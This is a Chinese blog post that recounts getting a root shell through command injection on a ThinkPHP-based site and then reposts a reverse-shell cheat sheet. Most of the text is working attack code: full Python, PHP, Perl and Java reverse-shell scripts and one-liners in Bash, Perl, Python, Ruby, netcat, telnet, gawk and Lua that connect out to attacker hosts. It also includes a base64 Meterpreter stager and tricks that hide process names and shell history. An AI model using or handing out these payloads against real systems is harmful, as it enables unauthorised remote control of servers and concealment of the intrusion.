本文共 17141 字，大约阅读时间需要 57 分钟。
背景：
ThinkPHP框架的-->
找到一个OS命令注入(很简单的Burp可以直接扫出来的那种)：页面配置系统默认网关处。
一、渗透过程
1、首先看了一下，没有回显。
2、用ceye.io看DNSlog发现不能连接外网。
3、内网ping ok！说明可以的，确实命令执行。
4、弹bash 最常见的监听端nc
1 nc -p 4444 -l -v
二、下面开始弹bash：
1、最常见的bash的
1 bash -i >& /dev/tcp/a.b.c.d/4444 0>&12 #没成功，尝试bash -c 执行命令成功了3 #尝试wget 访问我的flask http服务器OK4 #尝试编码发现失败
2、追问了某大佬考虑<>及其编码字符被转移，考虑ssh反向连接或者脚本反向连接。
3、开始搞pl脚本，尝试多次失败（后来发现原因：wget从我自己搭建的flaskHTTP服务上面下反向连接脚本的时候保存的文件名不对）
4、搞python的，自己很熟悉。从朋友那里搞了一个python反向连接弹shell的脚本。通过flask和wget传到服务器上。
5、加运行权限 执行 getshell root权限
6、python脚本代码公开：
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 """ 4 back connect py version,only linux have pty module 5 code by hero 6 """ 7 import sys,os,socket,pty 8 shell = "/bin/sh" 9 def usage(name):10 print 'python reverse connector'11 print 'usage: %s' % name12 13 def main():14 if len(sys.argv) !=3:15 usage(sys.argv[0])16 sys.exit()17 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)18 try:19 s.connect((sys.argv[1],int(sys.argv[2])))20 print 'connect ok'21 except:22 print 'connect faild'23 sys.exit()24 os.dup2(s.fileno(),0)25 os.dup2(s.fileno(),1)26 os.dup2(s.fileno(),2)27 global shell28 os.unsetenv("HISTFILE")29 os.unsetenv("HISTFILESIZE")30 os.unsetenv("HISTSIZE")31 os.unsetenv("HISTORY")32 os.unsetenv("HISTSAVE")33 os.unsetenv("HISTZONE")34 os.unsetenv("HISTLOG")35 os.unsetenv("HISTCMD")36 os.putenv("HISTFILE",'/dev/null')37 os.putenv("HISTSIZE",'0')38 os.putenv("HISTFILESIZE",'0')39 pty.spawn(shell)40 s.close()41 42 if __name__ == '__main__':43 main()
三、从这里开始思考，linux各种反弹shell的做法：
这里先补充一个windows、linux下都可以反弹shell的php脚本
1 array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); 9 $cwd = getcwd(); 10 $msg = php_uname()."\n------------Code by Spider-------------\n"; 11 if($os == 'WIN') { 12 $env = array('path' => 'c:\\windows\\system32'); 13 } else { 14 $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); 15 } 16 17 if(function_exists('fsockopen')) { 18 $sock = fsockopen($ipaddr,$port); 19 fwrite($sock,$msg); 20 while ($cmd = fread($sock,1024)) { 21 if (substr($cmd,0,3) == 'cd ') { 22 $cwd = trim(substr($cmd,3,-1)); 23 chdir($cwd); 24 $cwd = getcwd(); 25 } 26 if (trim(strtolower($cmd)) == 'exit') { 27 break; 28 } else { 29 $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); 30 if (is_resource($process)) { 31 fwrite($pipes[0],$cmd); 32 fclose($pipes[0]); 33 $msg = stream_get_contents($pipes[1]); 34 fwrite($sock,$msg); 35 fclose($pipes[1]); 36 $msg = stream_get_contents($pipes[2]); 37 fwrite($sock,$msg); 38 fclose($pipes[2]); 39 proc_close($process); 40 } 41 } 42 } 43 fclose($sock); 44 } else { 45 $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); 46 socket_connect($sock,$ipaddr,$port); 47 socket_write($sock,$msg); 48 fwrite($sock,$msg); 49 while ($cmd = socket_read($sock,1024)) { 50 if (substr($cmd,0,3) == 'cd ') { 51 $cwd = trim(substr($cmd,3,-1)); 52 chdir($cwd); 53 $cwd = getcwd(); 54 } 55 if (trim(strtolower($cmd)) == 'exit') { 56 break; 57 } else { 58 $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); 59 if (is_resource($process)) { 60 fwrite($pipes[0],$cmd); 61 fclose($pipes[0]); 62 $msg = stream_get_contents($pipes[1]); 63 socket_write($sock,$msg,strlen($msg)); 64 fclose($pipes[1]); 65 $msg = stream_get_contents($pipes[2]); 66 socket_write($sock,$msg,strlen($msg)); 67 fclose($pipes[2]); 68 proc_close($process); 69 } 70 } 71 } 72 socket_close($sock); 73 } 74 ?>
下文引自：
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
[前言：在乌云社区看到反弹shell的几种姿势，看过之余自己还收集了一些，动手试了下，仅供参考]
0x01 Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1这里shell由bash解析，有时候是由sh解析，不一定百发百中 ***在虚拟机里面试过可行，替换成自己的地址和端口即可*** ***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件，读取或写入相当于建立socket调用*** ***由于其特殊性，命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了*** ***注意，这里"&"在Linux shell中表示后台运行，当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO*** *** 2>&1形式用于重定向，2>表示错误重定向，&1表示标准输出；以ls >/dev/null 2>&1为例，2>&1是将标准出错重定向到标准输出，不过在这里又被重定向到了/dev/null这个无底洞里*** ***这里有一个问题：为什么2>&1要写在后面，以command >file 2>&1为例，首先是command > file将标准输出重定向到file中， 2>&1 是标准错误拷贝了标准输出的行为，也就是同样被重定向到file中，最终结果就是标准输出和错误都被重定向到file中*** ***其实还有一个问题，既然2>表示错误重定向，那么0>表示什么呢？查阅资料发现在Linux下输入输出重定向有三个值，其中2已经说过是标准错误信息输出，那0则是标准输入，1则为标准输出了。说到这里，其实又引出了一个新的问题，我们知道 <才是表示输入的，那为何这里却是如此形式，按说就应该是2了，或者说这里0就已经是输入了，然后直接使用> 进行输出，不是很清楚请大牛指点啊*** gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法：###$ nc -l -p 8080 -vvv$ exec 5<>/dev/tcp/evil.com/8080$ cat <&5 | while read line; do $line 2>&5 >&5; done***这条语句证实可行，这里exec命令可以用来替代当前shell；换句话说，并没有启动子shell，使用这一条命令时任何现有环境变量将会被清除，并重新启动一个shell*** ***exec的man手册如是说：The exec() family of functions replaces the current process image with a new process image*** ***在查exec时发现一个好玩的语句：exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat <&3这个语句的作用，应该一看就明了了，不多说，言归正传，nc监听，使用exec反弹的shell其输出只能在目标机器上看到，有图为证***另外还可以是：exec /bin/bash 0&0 2>&00<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1***在测试exec /bin/bash 0&0 2>&0语句时，遇到一个问题，终端显示No such file or directory或者干脆找不到命令，怎么让它实现还有待研究*** ***研究表明，exec 2>&0即可，不需要/bin/bash，然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***0x02 Perlperl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'***使用这条命令，唯一的不同是提示符变成了sh-4.1#，实现原理和前面的bash差不多，Perl还是很强大的***
不依赖于/bin/sh的shell： ***这条语句比上面的更为简短，而且确实不需要依赖/bin/sh***
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'系统运行windows时：***突然发现windows上暂时没装Perl，下次测吧***
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'再给出一个完整的Perl的反弹脚本：
1 #!/usr/bin/perl -w 2 # perl-reverse-shell - A Reverse Shell implementation in PERL 3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these.10 my $ip = '127.0.0.1';11 my $port = 1234;12 13 # Options14 my $daemon = 1;15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell17 my $authorised_client_pattern = qr(^127\.0\.0\.1$);18 19 # Declarations20 my $global_page = "";21 my $fake_process_name = "/usr/sbin/apache";22 23 # Change the process name to be less conspicious24 $0 = "[httpd]";25 26 # Authenticate based on source IP address if required27 if (defined($ENV{'REMOTE_ADDR'})) {28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");29 30 if ($auth) {31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {32 cgiprint("ERROR: Your client isn't authorised to view this page");33 cgiexit();34 }35 }36 } elsif ($auth) {37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");38 cgiexit(0);39 }40 41 # Background and dissociate from parent process if required42 if ($daemon) {43 my $pid = fork();44 if ($pid) {45 cgiexit(0); # parent exits46 }47 48 setsid();49 chdir('/');50 umask(0);51 }52 53 # Make TCP connection for reverse shell54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {56 cgiprint("Sent reverse shell to $ip:$port");57 cgiprintpage();58 } else {59 cgiprint("Couldn't open reverse shell to $ip:$port: $!");60 cgiexit(); 61 }62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection64 open(STDIN, ">&SOCK");65 open(STDOUT,">&SOCK");66 open(STDERR,">&SOCK");67 $ENV{'HISTFILE'} = '/dev/null';68 system("w;uname -a;id;pwd");69 exec({"/bin/sh"} ($fake_process_name, "-i"));70 71 # Wrapper around print72 sub cgiprint {73 my $line = shift;74 $line .= "\n";75 $global_page .= $line;76 }77 78 # Wrapper around exit79 sub cgiexit {80 cgiprintpage();81 exit 0; # 0 to ensure we don't give a 500 response.82 }83 84 # Form HTTP response using all the messages gathered by cgiprint so far85 sub cgiprintpage {86 print "Content-Length: " . length($global_page) . "\r87 Connection: close\r88 Content-Type: text\/html\r\n\r\n" . $global_page;89 }
0x03 Python #测试环境为Linux Python2.7
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'***同样是sh-4.1#，Python真心好***
另外的形式：#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"另外Metasploit版的代码：
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))base64解码：
import socket,structs=socket.socket(2,1)s.connect(('192.168.90.1',1234))l=struct.unpack('>I',s.recv(4))[0]d=s.recv(4096)while len(d)!=l: d+=s.recv(4096)exec(d,{'s':s})
0x04 PHP #代码假设TCP连接的文件描述符为3，如果不行可以试下4,5,6
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本 ***php这个也相当简单***
0x05 Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'不依赖于/bin/sh的shell：
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'如果目标系统运行Windows：
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'当然还有我们很熟悉的MSF模块里面也是有反弹shell的：
#!/usr/bin/env rubyrequire 'socket'require 'open3'#Set the Remote Host IPRHOST = "192.168.1.10" #Set the Remote Host PortPORT = "6667"#Tries to connect every 20 sec until it connects.beginsock = TCPSocket.new "#{RHOST}", "#{PORT}"sock.puts "We are connected!"rescue sleep 20 retryend#Runs the commands you type and sends you back the stdout and stderr.begin while line = sock.gets Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | IO.copy_stream(stdout_and_stderr, sock) end endrescue retryend
0x06 NetCat
nc -e /bin/sh 10.0.0.1 1234 #不同版本的nc不一定支持-e选项不能使用-e选项时：
mknod backpipe p && nc attackerip 8080 0backpipe /bin/sh | nc attackerip 4444rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/安装的NC版本有问题时：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
0x07 Java
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()msf使用为：use payload/java/shell/reverse_tcp
再见一段长代码：
import java.io.*;import java.net.Socket;import java.util.*;import java.util.regex.*;import java.applet.Applet;public class poc extends Applet{ /** * Author: daniel baier alias duddits * Licens: GPL * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher * Version: 0.1 alpha release */ public String cd(String start, File currentDir) { File fullPath = new File(currentDir.getAbsolutePath()); String sparent = fullPath.getAbsoluteFile().toString(); return sparent + "/" + start; } @SuppressWarnings("unchecked") public void init() { poc rs = new poc(); PrintWriter out; try { Socket clientSocket = new Socket("192.168.5.222",10003); out = new PrintWriter(clientSocket.getOutputStream(), true); out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier"); boolean run = true; String s; BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); String startort = "/"; while (run) { String z1; File f = new File(startort); out.println(f.getAbsolutePath() + "> "); s = br.readLine(); z1 = s; Pattern pcd = Pattern.compile("^cd\\s"); Matcher mcd = pcd.matcher(z1); String[] teile1 = pcd.split(z1); if (s.equals("exit")) { run = false; }else if (s.equals(null) || s.equals("cmd") || s.equals("")) { } else if(mcd.find()){ try { String cds = rs.cd(teile1[1], new File(startort)); startort = cds; } catch (Exception verz) { out.println("Path " + teile1[1] + " not found."); } }else { String z2; z2 = s; Pattern pstring = Pattern.compile("\\s"); String[] plist = pstring.split(z2); try { LinkedList slist = new LinkedList(); for (int i = 0; i < plist.length; i++) { slist.add(plist[i]); } ProcessBuilder builder = new ProcessBuilder(slist); builder.directory(new File(startort)); Process p = builder.start(); Scanner se = new Scanner(p.getInputStream()); if (!se.hasNext()) { Scanner sa = new Scanner(p.getErrorStream()); while (sa.hasNext()) { out.println(sa.nextLine()); } } while (se.hasNext()) { out.println(se.nextLine()); } } catch (Exception err) { out.println(f.getAbsolutePath() + "> Command " + s + " failed!"); out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin."); } } } if(!clientSocket.isConnected()){ run = false; out.flush(); out.close(); } } catch (Exception io) { //System.err.println("Connection refused by peer"); } }}
0x08 Telnet #nc不可用或/dev/tcp不可用时
mknod backpipe p && telnet attackerip 8080 0backpipe ***这里mknod是创建特殊文件-设备文件***
0x09 Xterm
首先开启Xserver： # TCP 6001
Xnest :1 # Note: The command starts with uppercase X授予目标机连回来的权限：
xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tabxhost +targetip # Run this INSIDE the spawned xterm on the open X Server如果想让任何人都连上：
xhost + # Run this INSIDE the spawned xterm on the open X Server假设xterm已安装，连回你的Xserver：
xterm -display attackerip:1或者：
$ DISPLAY=attackerip:0 xterm
0x10 gawk
#!/usr/bin/gawk -fBEGIN { Port = 8080 Prompt = "bkd> " Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}
0x11 乌云上一个lua实现
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"***lua之前是真没见过，发现机器竟然一时装不上，唉，留着以后玩吧***
msf反弹：use payload/cmd/unix/reverse_lua